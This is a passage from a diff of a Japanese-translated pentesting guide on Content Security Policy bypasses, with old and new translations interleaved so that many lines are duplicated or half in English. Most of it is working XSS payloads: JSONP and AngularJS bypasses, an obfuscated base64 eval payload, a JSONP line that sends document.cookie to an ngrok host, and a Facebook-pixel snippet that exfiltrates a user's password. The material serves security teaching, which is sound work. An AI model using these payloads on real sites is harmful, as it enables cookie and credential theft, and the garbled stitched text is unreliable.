- **frame-ancestors**: 現在のページを埋め込めるソースを指定します（`<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>` 等に適用）。
- **frame-ancestors**: 現在のページを埋め込めるソースを指定します。 `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>` のような要素に適用されます。
- **img-src**: 画像の許可ソースを定義します。
- **font-src**: `@font-face` を使って読み込まれるフォントの有効なソースを指定します。
- **font-src**: `@font-face`で読み込まれるフォントの有効なソースを指定します。
- **manifest-src**: アプリケーションマニフェストファイルの許可ソースを定義します。
- **media-src**: メディアオブジェクトを読み込むための許可ソースを定義します。
- **media-src**: メディアオブジェクトの読み込みに対する許可ソースを定義します。
- **object-src**: `<object>`, `<embed>`, `<applet>` 要素の許可ソースを定義します。
- **base-uri**: `<base>` 要素での読み込みに許可されるURLを指定します。
- **base-uri**: `<base>`要素での読み込みに対する許可URLを指定します。
- **form-action**: フォーム送信の有効なエンドポイントを列挙します。
- **plugin-types**: ページが呼び出せるmimeタイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>` の sandbox 属性に類似した制限を適用します。
- **report-to**: ポリシー違反があった場合にレポートを送るグループを指定します。
- **worker-src**: Worker、SharedWorker、ServiceWorker スクリプトの有効なソースを指定します。
- **prefetch-src**: 取得またはプリフェッチされるリソースの有効なソースを指定します。
- **navigate-to**: ドキュメントが任意の手段（a、form、window.location、window.open 等）で遷移できるURLを制限します。
- **plugin-types**: ページが呼び出せる mime タイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTPのURLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
- **report-to**: ポリシー違反があった場合にレポートが送られるグループを指定します。
- **worker-src**: Worker、SharedWorker、ServiceWorkerスクリプトの有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
- **navigate-to**: ドキュメントがあらゆる手段（a, form, window.location, window.open, など）で移動できるURLを制限します。
### ソース
- `*`: `data:`, `blob:`, `filesystem:` スキームを持つものを除き、すべてのURLを許可します。
- `'self'`: 同一ドメインからの読み込みを許可します。
- `'data'`: dataスキームを介したリソースの読み込みを許可します（例: Base64エンコードされた画像）。
- `'data'`: dataスキーム経由でリソースの読み込みを許可します（例：Base64エンコードされた画像）。
- `'none'`: いかなるソースからの読み込みもブロックします。
- `'unsafe-eval'`: `eval()` や類似のメソッドの使用を許可します。セキュリティ上推奨されません。
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可します。セキュリティ上推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
- `'unsafe-inline'`: インライン `<script>` や `<style>` などのインラインリソースの使用を許可します。セキュリティ上推奨されません。
- `'nonce'`: 暗号的nonce（一度だけ使われる数）を使用して特定のインラインスクリプトをホワイトリスト化します。
- JSの実行が制限されている場合でも、ページ内から使用済みのnonceを `doc.defaultView.top.document.querySelector("[nonce]")` で取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です（strict-dynamicが使用されている場合、許可された任意のソースが新しいソースを読み込めるためこれは不要です）、例：
- `'unsafe-inline'`: インライン`<script>`や`<style>`のようなインラインリソースの使用を許可します。セキュリティ上推奨されません。
- `'nonce'`: 暗号学的nonce（使い捨て番号）を用いた特定のインラインスクリプトのホワイトリストです。
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
@ -88,26 +88,26 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 特定の `sha256` ハッシュを持つスクリプトをホワイトリストに登録します。
- `'strict-dynamic'`: nonce や hash によってホワイトリスト登録されていれば、任意のソースからスクリプトをロードできるようにします。
- `'host'`: `example.com` のように特定のホストを指定します。
- `https:`: HTTPS を使用する URL のみに制限します。
- `blob:`: リソースを Blob URL（例: JavaScript で作成された Blob URL）からロードできるようにします。
- `filesystem:`: ファイルシステムからリソースをロードできるようにします。
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
- `'strict-dynamic'`: nonce またはハッシュでホワイトリスト登録されている場合、任意のソースからスクリプトを読み込めるようにします。
- `'host'`: 特定のホストを指定します（例: `example.com`）。
- `https:`: HTTPSを使用するURLに制限します。
- `blob:`: Blob URL（例: JavaScriptで作成されたBlob URL）からリソースを読み込めるようにします。
- `filesystem:`: filesystemからリソースを読み込めるようにします。
- `'report-sample'`: 違反レポートに違反コードのサンプルを含めます（デバッグに有用）。
- `'strict-origin'`: `'self'` と似ていますが、ソースのプロトコルのセキュリティレベルがドキュメントと一致することを保証します（安全なオリジンのみが安全なオリジンからリソースをロードできます）。
- `'strict-origin-when-cross-origin'`: 同一オリジンのリクエストではフル URL を送信しますが、クロスオリジンのリクエストではオリジンのみを送信します。
- `'unsafe-allow-redirects'`: 即座に別のリソースへリダイレクトするようなリソースのロードを許可します。セキュリティを弱めるため推奨されません。
- `'strict-origin'`: 'self'に似ていますが、ソースのプロトコルのセキュリティレベルがドキュメントと一致することを保証します（安全なオリジンのみが安全なオリジンからリソースを読み込めます）。
- `'strict-origin-when-cross-origin'`: 同一オリジンのリクエストではフルURLを送信しますが、クロスオリジンのリクエストではオリジンのみを送信します。
- `'unsafe-allow-redirects'`: 即座に別のリソースへリダイレクトするリソースの読み込みを許可します。セキュリティを弱めるため推奨されません。
## 危険な CSP ルール
## 危険なCSPルール
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
動作するペイロード: `"/><script>alert(1);</script>`
動作する payload: `"/><script>alert(1);</script>`
#### Iframes 経由の self + 'unsafe-inline'
#### self + 'unsafe-inline' via Iframes
{{#ref}}
@ -117,17 +117,17 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> これは動作しません。詳細については [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> これは動作しません。詳細は[**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
動作する payload:
動作するペイロード:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
もし何らかの方法で、あなたのJSコードでDOM上に**許可されたJSコードが新しいscript tagを作成する**ようにできれば、許可されたスクリプトがそれを作成しているため、**その新しいscript tagは実行が許可されます**。
もし何らかの方法で、許可されたスクリプトが作成する形であなたのJSコードを使ってDOM内に**allowed JS code created a new script tag** を生成できれば、その**new script tag will be allowed to be executed**。
### Wildcard (\*)
```yaml
@ -140,40 +140,40 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
### object-src と default-src の欠如
> [!CAUTION] > **これはもはや動作していないようです**
> [!CAUTION] > **これはもう動作していないようです**
```yaml
Content-Security-Policy: script-src 'self' ;
```
動作するペイロード:
動作する payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### ファイルアップロード + 'self'
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
JSファイルをアップロードできるなら、この CSP をバイパスできます:
もしJSファイルをアップロードできるなら、このCSPをバイパスできます：
動作する payload:
動作する payload：
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
しかし、サーバが**validating the uploaded file**しており、**upload determined type of files**しか許可しない可能性が非常に高いです。
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
さらに、たとえサーバが受け入れる拡張子（例: _script.png_）を使ってファイル内に**JS code inside**をアップロードできたとしても、それだけでは不十分です。なぜなら、apache server のような一部のサーバは**select MIME type of the file based on the extension**し、Chromeのようなブラウザは画像であるべきものの中のJavascriptを**reject to execute Javascript**するからです。幸いにもミスはあります。例えば、CTFで学んだ例として、**Apache doesn't know** the _**.wave**_ extension、したがってそれを**MIME type like audio/***で配信しない場合があります。
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
ここから、XSS とファイルアップロードの両方が見つかり、**misinterpreted extension**を突き止められれば、その拡張子でスクリプトの内容を含むファイルをアップロードしてみることができます。あるいは、サーバがアップロードされたファイルの正しいフォーマットを検査している場合は、polyglot を作成する（[some polyglot examples here](https://github.com/Polydet/polyglot-database)）。
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
JS を注入できない場合でも、例えば認証情報をexfiltrateするために**injecting a form action**を試みることができます（パスワードマネージャが自動入力することを期待して）。[**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) を参照してください。また、`default-src` は form actions をカバーしない点に注意してください。
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> 一部の以下の payload では **`unsafe-eval` is not even needed**。
> For some of the following payload **`unsafe-eval` is not even needed**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window` オブジェクトを返す関数を持つライブラリを使った Payloads（[この記事を参照](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)）:
#### Payloads using Angular + `window` オブジェクトを返す関数を持つライブラリを使ったペイロード ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> この記事では、`cdn.cloudflare.com`（または許可されている他の JS ライブラリのリポジトリ）からすべての**ライブラリ**を**ロード**し、各ライブラリで追加された全ての関数を実行して、**どのライブラリのどの関数が `window` オブジェクトを返すか**を確認できることを示しています。
> この投稿は、`cdn.cloudflare.com`（または他の許可されたJSライブラリリポジトリ）からすべての**ライブラリ**を**読み込み**、各ライブラリの追加関数をすべて実行して、どのライブラリのどの関数が`window`オブジェクトを返すかを確認できることを示しています。
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular のクラス名からの XSS:
Angular XSS クラス名から:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### google recaptcha JS code を悪用する
#### google recaptcha JS コードの悪用
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) によると、[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) を CSP 内で悪用して CSP をバイパスし、任意の JS コードを実行できます:
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) によると、CSP 内で [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) を悪用して CSP をバイパスし、任意の JS コードを実行できます:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
さらに [**この writeup の payloads**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
さらに [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -263,19 +263,19 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com を悪用した open redirect
次の URL は example.com にリダイレクトします（出典: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)）:
以下のURLは example.com にリダイレクトします（出典: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)）:
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.com の悪用
悪用 \*.google.com/script.google.com
Google Apps Script を悪用して、script.google.com 内のページで情報を受け取ることが可能です。これは [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)。
Google Apps Script を悪用して script.google.com 内のページで情報を受け取ることが可能です。これは[このレポート](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)で行われている例です。
### サードパーティのエンドポイント + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
このようなシナリオでは、`script-src` が `self` に設定され、特定のドメインが whitelisted されている場合、JSONP を使って bypass できます。JSONP endpoints は insecure callback methods を許可しており、攻撃者が XSS を実行できます。working payload:
このようなシナリオでは、`script-src` が `self` に設定され、特定のドメインがホワイトリスト登録されている場合、JSONP を使って回避できます。JSONP エンドポイントは不安全なコールバックメソッドを許可するため、攻撃者が XSS を実行できることがあり、動作するペイロード:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **さまざまなウェブサイトのCSP bypassに使える準備済みのJSONP endpointsを含んでいます。**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contains ready to use JSONP endpoints to CSP bypass of different websites.**
The same vulnerability will occur if the **信頼された endpoint が Open Redirect を含んでいる** because if the initial endpoint is trusted, redirects are trusted.
同じ脆弱性は、trusted endpointにOpen Redirectが含まれている場合にも発生します。なぜなら、初期のendpointが信頼されているなら、リダイレクトも信頼されるからです。
### サードパーティの悪用
### Third Party Abuses
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), CSPのどこかで許可されている可能性がある多くのサードパーティドメインは、データを exfiltrate したり JavaScript を実行したりするために悪用され得ます。これらのサードパーティの一部は以下の通りです:
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:
| エンティティ | 許可ドメイン | 機能 |
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,7 +308,7 @@ As described in the [following post](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
ターゲットのCSPにこれらの許可ドメインのいずれかが含まれているのを見つけた場合、サードパーティサービスに登録することでCSPをバイパスし、そのサービスへデータを exfiltrate したり、コードを実行したりできる可能性があります。
ターゲットのCSP内に上記のいずれかの許可ドメインがある場合、そのサードパーティサービスに登録することでCSPをバイパスし、exfiltrateしたり、コードを実行したりできる可能性があります。
For example, if you find the following CSP:
```
@ -318,78 +318,78 @@ Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
従来[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で行われてきたのと同様に、exfiltrate data が可能なはずです。今回のケースでは、以下の一般的な手順に従います：
データをexfiltrateできるはずです。これは従来から[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で行われてきた方法と同様です。この場合、一般的に次の手順に従います:
1. ここで Facebook Developer アカウントを作成する。
2. 新しく "Facebook Login" app を作成し、"Website" を選択する。
3. 「Settings -> Basic」に移動して、"App ID" を取得する。
4. ターゲットサイトでは、Facebook SDK の gadget "fbq" を直接使用し、"customEvent" と data payload を通じて exfiltrate data することでデータを持ち出すことができる。
5. アプリの "Event Manager" に移動して作成したアプリケーションを選択する（event manager は次のような URL で見つかる場合があります: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
6. 「Test Events」タブを選択して、"your" web site から送信されるイベントを確認する。
1. ここでFacebook Developerアカウントを作成します。
2. 新しい "Facebook Login" アプリを作成し、 "Website" を選択します。
3. 「Settings -> Basic」に移動して「App ID」を取得します。
4. データをexfiltrateしたいターゲットサイトでは、Facebook SDKのガジェット "fbq" を直接使用し、"customEvent" とデータペイロードを使ってexfiltrateできます。
5. Appの「Event Manager」に移動し、作成したアプリケーションを選択します（note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
6. 「Test Events」タブを選択して、"your" web siteから送信されるイベントを確認します。
その後、被害者側では以下のコードを実行して、Facebook tracking pixel を攻撃者の Facebook developer account app-id を指すように初期化し、次のような custom event を発行します：
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
前の表で指定された他の7つのサードパーティドメインについては、悪用できる方法が他にも多数あります。その他のサードパーティの悪用に関する追加説明は、以前の [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) を参照してください。
前の表で指定した残りの7つのサードパーティドメインについては、悪用できる方法が他にも多数あります。以前の[blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPO (Relative Path Overwrite) によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限を回避するためのリダイレクトに加えて、一部のサーバで利用できる Relative Path Overwrite (RPO) と呼ばれる別の手法があります。
前述のリダイレクションによるパス制限のバイパスに加えて、一部のサーバで使用できるRelative Path Overwrite (RPO)と呼ばれる別の手法があります。
例えば、CSP が `https://example.com/scripts/react/` へのパスを許可している場合、以下のようにバイパスできます：
例えば、CSPが`https://example.com/scripts/react/`のパスを許可している場合、以下のようにバイパスできます:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
これは、ブラウザにとって `..%2fangular%2fangular.js` という名前のファイルを `https://example.com/scripts/react/` の下で読み込んでおり、CSP に準拠しているため動作します。
これは、ブラウザから見ると `https://example.com/scripts/react/` 配下にある `..%2fangular%2fangular.js` というファイルを読み込んでおり、CSP に準拠しているため動作します。
ブラウザはそれをデコードし、結果的に `https://example.com/scripts/react/../angular/angular.js` を要求し、これは `https://example.com/scripts/angular/angular.js` と同等になります。
ブラウザはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` を要求します。これは `https://example.com/scripts/angular/angular.js` と同等です。
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
By **ブラウザとサーバー間の URL 解釈の不整合を悪用することで、パスルールをバイパスできます**。
解決策は、サーバー側で `%2f` を `/` と扱わないようにし、ブラウザとサーバー間で解釈を一致させることです。
解決策は、サーバー側で `%2f` を `/` と扱わず、ブラウザとサーバーで解釈を一致させることでこの問題を回避することです。
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS execution
### Iframes の JS 実行
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** が欠如している場合
### **base-uri** が欠落している場合
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
もし **base-uri** ディレクティブが存在しない場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) を悪用できます。
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
さらに、ページが**相対パスを使ってスクリプトを読み込んでいる**（例: `<script src="/js/app.js">`）かつ **Nonce** を使用している場合、**base** **tag** を悪用してそのスクリプトを**読み込ませる**ことで **your own server achieving a XSS.**\
脆弱なページが **httpS** で配信されている場合は、base に httpS の URL を使用してください。
```html
<base href="https://www.attacker.com/" />
```
### AngularJS イベント
特定のポリシーである Content Security Policy (CSP) は JavaScript のイベントを制限することがある。しかし AngularJS は代替としてカスタムイベントを提供する。イベント内では AngularJS がネイティブなブラウザイベントオブジェクトを参照する特殊なオブジェクト `$event` を提供する。この `$event` オブジェクトは CSP を回避するために悪用できる。特に Chrome では、`$event/event` オブジェクトが `path` 属性を持ち、イベントの実行チェーンに関与するオブジェクト配列を保持しており、配列の末尾には常に `window` オブジェクトが位置する。この構造は sandbox escape tactics において重要である。
Content Security Policy (CSP) として知られる特定のポリシーは JavaScript イベントを制限する場合があります。それでも、AngularJS はカスタムイベントという代替手段を提供します。イベント内で、AngularJS はネイティブのブラウザイベントオブジェクトを参照する特殊なオブジェクト `$event` を提供します。この `$event` オブジェクトは CSP を回避するために悪用できます。特に Chrome では `$event/event` オブジェクトは `path` 属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window` オブジェクトが常に最後に配置されています。この構造はサンドボックス脱出の手法にとって重要です。
この配列を `orderBy` フィルタに渡して反復処理することで、末尾の要素（`window` オブジェクト）を利用して `alert()` のようなグローバル関数を呼び出すことができる。以下のコードスニペットはこのプロセスを説明する：
この配列を `orderBy` フィルタに渡すことで反復処理が可能になり、末尾の要素（`window` オブジェクト）を利用して `alert()` のようなグローバル関数を呼び出すことができます。以下のコードスニペットはこのプロセスを示しています:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
このスニペットは、イベントをトリガーするための `ng-focus` ディレクティブの使用、`$event.path|orderBy` を用いて `path` 配列を操作する方法、および `window` オブジェクトを利用して `alert()` を実行し、その結果 `document.cookie` を表示する点を強調しています。
このスニペットは、`ng-focus` ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy` を使用して `path` 配列を操作し、`window` オブジェクトを介して `alert()` を実行して `document.cookie` を表示させることを示しています。
**他の Angular bypasses は** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**他の Angular bypasses は次で確認してください** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS and whitelisted domain
### AngularJS とホワイトリスト化されたドメイン
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS アプリケーションでスクリプト読み込み用にドメインをホワイトリスト化した CSP ポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを利用して回避できます。詳細はこの手法の詳細なガイドをこの [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) で参照してください。
CSP ポリシーが Angular JS アプリケーションの script loading 用ドメインをホワイトリスト化している場合、callback functions の呼び出しや特定の脆弱な classes を利用してバイパスできます。この手法の詳細は、詳しいガイドを含むこの [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) を参照してください。
Working payloads:
```html
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
他の JSONP 任意実行エンドポイントは [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) で確認できます（その一部は削除または修正されています）
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (その一部は削除または修正されました)
### リダイレクションによるバイパス
### Bypass via Redirection
CSP がサーバー側のリダイレクションに遭遇した場合はどうなるでしょうか？リダイレクションが許可されていない別の origin に向かう場合は、やはり失敗します。
CSPがサーバーサイドのリダイレクトに遭遇したとき、何が起きますか？ リダイレクトが許可されていない別のオリジンに向かう場合は、やはり失敗します。
しかし、[CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) の記述によれば、リダイレクションが別のパスに向かう場合、元の制限をバイパスできることがあります。
しかし、[CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) の記述によれば、リダイレクトが別のパスに向かう場合、元の制限を回避できる可能性があります。
以下は例です：
例は次のとおりです：
```html
<!DOCTYPE html>
<html>
@ -425,15 +425,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
CSPが `https://www.google.com/a/b/c/d` に設定されている場合、パスが考慮されるため、`/test` と `/a/test` の両方のスクリプトはCSPによってブロックされます。
CSP が `https://www.google.com/a/b/c/d` に設定されている場合、パスが考慮されるため、`/test` と `/a/test` の両方のスクリプトは CSP によってブロックされます。
しかし、最終的な `http://localhost:5555/301` は **サーバー側で `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込める**ため、パス制限がバイパスされます。
しかし、最終的に `http://localhost:5555/301` は **サーバー側で `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` にリダイレクトされます**。リダイレクトなので、**パスは考慮されず**、**スクリプトは読み込まれる**ため、パス制限を回避できます。
このリダイレクションによって、たとえパスが完全に指定されていても、それは依然としてバイパスされます。
このリダイレクションがあると、たとえパスが完全に指定されていても、回避されてしまいます。
したがって、最善の対策は、サイトにオープンリダイレクトの脆弱性がないこと、及びCSPルールに悪用可能なドメインが含まれていないことを確認することです。
したがって、最善の対策は、ウェブサイトにオープンリダイレクトの脆弱性がないこと、そして CSP ルール内に悪用可能なドメインが含まれていないことを確認することです。
### Bypass CSP with dangling markup
### CSP を dangling markup でバイパス
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
@ -441,22 +441,23 @@ Read [how here](../dangling-markup-html-scriptless-injection/index.html).
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` はコード内の任意のスクリプトを実行できることを意味します（XSS はコードを実行できます）。`img-src *` はウェブページで任意のリソースからの画像を使用できることを意味します。
`'unsafe-inline'` はコード内の任意のスクリプトを実行できることを意味します（XSSはコードを実行できます）、`img-src *` はウェブページ上で任意のリソースからの画像を使用できることを意味します。
画像経由でデータを持ち出すことでこの CSP をバイパスできます（この例では、XSS が CSRF を悪用し、bot がアクセスできるページに SQLi があり、画像を通じて flag を抽出します）：
